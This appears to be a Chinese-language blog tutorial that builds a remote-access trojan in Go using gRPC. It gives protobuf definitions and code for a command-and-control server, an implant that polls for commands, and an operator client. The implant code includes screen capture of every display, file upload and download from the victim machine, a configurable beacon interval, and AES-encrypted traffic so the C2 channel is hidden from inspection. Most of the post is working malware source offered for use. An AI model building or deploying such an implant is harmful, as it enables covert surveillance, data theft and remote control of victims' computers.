## 概述
> 项目地址 https://github.com/newbe3three/gotoexec
构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。
植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。
管理程序是运行在用户机器上的客户端,用于发出实际的命令。
服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。
![目录结构.png](https://static.golangjob.cn/220803/b6a64860d18dd62cd022825af69ca8ed.png)
## gRPC
这里通过gRPC构建所有的网络交互。
> 关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709
gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。
#### 定义和构造gRPC API
这里使用Protobufs来定义API
##### Service
在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。
在植入程序服务中,定义了三个方法`FetchCommand`、`SendOutput`和`GetSleepTime`。
*FetchCommand*:将从服务器检索所有为执行的命令
*SendOutput:*会将一个Command消息发送服务器
*GetSleepTime:*从服务端检索sleep时间间隔
在管理程序服务中,定义的两个方法`RunCommand`和`SetSleepTime`
*RunCommand:*接收一个Command消息作为参数,并期望获读回一个Command消息
*SetSleepTime:*向服务器发送一个SleepTime消息作为时间间隔
##### Message
最后看到定义的三个message `Command`、`SleepTime`和`Empty`
*Command:*消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。
*SleepTime:*唯一 一个字段就是用来标明休眠时间间隔的
*Empty:*用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
```
syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
rpc GetSleepTime(Empty) returns (SleepTime);
}
service Admin {
rpc RunCommand (Command) returns (Command);
rpc SetSleepTime(SleepTime) returns (Empty);
}
//Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出
message Command {
string In = 1;
string Out = 2;
}
message SleepTime {
int32 time = 1;
}
//Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
message Empty {
}
```
##### 编译proto文件
对于Golang使用如下命令编译`.proto`文件。会根据你的`.proto`文件生成Go文件。
这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。
```
protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto
```
## 实现
### 创建服务端
首先,创建两个结构体`adminServer`和`implantServer`,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数`NewAdminServer`和`NewImplantServer`,用于创建新的实例,可以确保通道正确的初始化。
```go
type implantServer struct {
work, output chan *grpcapi.Command
}
type adminServer struct {
work, output chan *grpcapi.Command
}
func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
```
#### implantServer
对于植入程序服务端,需要实现的方法有`FetchCommand()`、`SendOutput()`和`GetSleepTime()`
*FetchCommand:*植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。
```go
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
return cmd, nil
}
}
```
*SendOutput:*将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。
```go
func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
fmt.Println("result:" + result.In + result.Out)
return &grpcapi.Empty{}, nil
}
```
*GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。
```go
func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
time := new(grpcapi.SleepTime)
time.Time = sleepTime
return time,nil
}
```
#### adminServer
对于管理程序服务端,需要实现的方法有`RunCommand`和`SetSleepTime`
*RunCommand:*该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。
调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。
```
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
fmt.Println(cmd.In)
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <- s.output
return res, nil
}
```
*SetSleepTime:*管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中
```
func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
sleepTime = time.Time
return &grpcapi.Empty{}, nil
}
```
#### main函数部分
main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。
接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。
```go
func main() {
var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
//植入程序服务端和管理程序服务端使用相同的通道
implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
//服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962
if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
log.Fatalln("implantserver"+err.Error())
}
if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
log.Fatalln("adminserver"+err.Error())
}
//服务端设置允许发送和接收数据的最大限制
opts = []grpc.ServerOption{
grpc.MaxRecvMsgSize(1024*1024*12),
grpc.MaxSendMsgSize(1024*1024*12),
}
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
//使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端
go func() {
grpcImplantServer.Serve(implantListener)
}()
grpcAdminServer.Serve(adminListener)
}
```
### 创建植入程序和管理程序
#### 植入程序
```go
// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn)
ctx := context.Background()
//使用for循环来轮询服务器
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
//如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
//从服务端获取到命令后先进行解密处理
command, _ := util.DecryptByAes(cmd.In)
//根据空格截取命令
tokens := strings.Split(string(command), " ")
.......
}
```
#### 管理程序
```go
// 设置命令行参数
flag.IntVar(&sleepTime,"sleep",0,"sleep time")
flag.StringVar(&session,"session","","start session")
flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
flag.StringVar(&port,"port","1961","Server IP")
flag.Parse()
if session != "" {
//输入session参数,并且参数值为start,开执行命令
if session == "start" {
// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
fmt.Println("start exec:")
//通过for循环来不断向控制台输入命令
for {
var cmd = new(grpcapi.Command)
//go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令
//获取用户输入的命令
reader := bufio.NewReader(os.Stdin)
command, _, err := reader.ReadLine()
if nil != err {
fmt.Println("reader.ReadLine() error:", err)
}
//根据空格截取输入的命令,以进行后续的判断
flags := strings.Split(string(command)," ")
......
} else {
fmt.Println("please input start")
}
}
```
##### sleep时间
自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。
植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。
```go
//如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
```
管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。
```go
//根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0
if sleepTime != 0 {
var time = new(grpcapi.SleepTime)
time.Time = int32(sleepTime)
ctx := context.Background()
client.SetSleepTime(ctx,time)
}
```
##### 截图
截图功能实现
截图功能借助于 `github.com/kbinani/screenshot` 实现
植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到`[]byte`字节切片中,进行加密编码后发出。
```go
//输入的命令为screenshot 就进入下面的流程
if tokens[0] == "screenshot" {
images := util.Screenshot()
for _,image := range images {
result,_ := util.EncryptByAes(util.ImageToByte(image))
cmd.Out += result
cmd.Out += ";"
}
client.SendOutput(ctx, cmd)
continue
}
```
```go
//util.Screenshot() 截图
func Screenshot() []*image.RGBA {
var images []*image.RGBA
//获取当前活动屏幕数量
i := screenshot.NumActiveDisplays()
if i == 0 {
}
for j :=0; j <= i-1; j++ {
image,_ := screenshot.CaptureDisplay(j)
images = append(images, image)
}
return images
}
//util.ImageToByte() 图片转字节切片
func ImageToByte(image *image.RGBA) []byte{
buf := new(bytes.Buffer)
png.Encode(buf,image)
b := buf.Bytes()
return b
}
```
##### 上传文件
上传文件,要求输入的格式为 `upload 本地文件 目标文件`。
管理程序会根据输入的本地文件,将本地文件读取到`[]byte`字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在**Command.Out**中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。
> 这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。
```go
if flags[0] == "upload" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:upload 本地文件 目标文件")
continue
}
file, err := os.ReadFile(flags[1])
if err != nil {
fmt.Println(err.Error())
continue
}
//将数据存放在Command.Out中
cmd.Out,err = util.EncryptByAes(file)
if err != nil {
log.Fatal(err.Error())
}
cmd = Run(cmd,command,client)
out,err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
fmt.Println(string(out))
continue
}
```
植入端程序将根据`cmd.in`中输入的命令判断是否为上传指令。判断为上传指令后,将会对`cmd.out`中保存的字符串数据进行解密后写入到用户指定的目标文件当中。
```go
//匹配上传命令
if tokens[0] == "upload" {
file,_ := util.DecryptByAes(cmd.Out)
err := os.WriteFile(tokens[2],file,0666)
if err != nil{
cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
client.SendOutput(ctx, cmd)
} else {
cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
client.SendOutput(ctx, cmd)
}
continue
}
```
##### 下载文件
下载文件, 要求输入的格式为`download 目标文件 本地文件`。
客户端将下载命令发送给服务端。客户端会从`cmd.out`中读取到数据后解密,并根据用户输入的本地文件写入文件。
```go
if flags[0] == "download" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:download 目标文件 本地文件")
continue
}
//发送命令
cmd = Run(cmd,command,client)
file, err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
if string(file[0:13]) == "download err!" {
fmt.Println(string(file[0:13]))
continue
}
err = os.WriteFile(flags[2],file,0666)
if err != nil {
fmt.Println(err.Error())
}else {
fmt.Println("download success! Path:" + flags[2])
}
continue
}
```
当植入程序询问到该命令之后,会将用户输入的目标文件读取到`[]byte`字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。
```go
//匹配下载命令
if tokens[0] == "download" {
file,err := os.ReadFile(tokens[1])
if err != nil {
cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
client.SendOutput(ctx, cmd)
}else {
cmd.Out,_ = util.EncryptByAes(file)
_,err2 := client.SendOutput(ctx, cmd)
if err2 != nil {
fmt.Println(err2.Error())
}
}
continue
}
```
### 编码问题
go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。
虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。
中文乱码问题的解决依赖于`golang.org/x/text/encoding/simplifiedchinese`
当然在解决掉乱码问题后,这一问题也就消失了。
```go
type Charset string
const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
)
func ConvertByte2String(byte []byte, charset Charset) string {
var str string
switch charset {
case GB18030:
decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
}
return str
}
```
### 流量加密
对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。
如下为未加密前流量
![未加密结果.png](https://static.golangjob.cn/220803/da86b7e7e0add6f9a7191a110b27b623.png)
![未加密命令.png](https://static.golangjob.cn/220803/7787ad1b37b650f028da4b924978c8ab.png)
当前使用AES+BAES64编码来进行加密
> aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402
管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。
待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量
![base64+aes密文传输.png](https://static.golangjob.cn/220803/b21cb93351e60d725185d939cb3523a5.png)
有疑问加站长微信联系(非本文作者))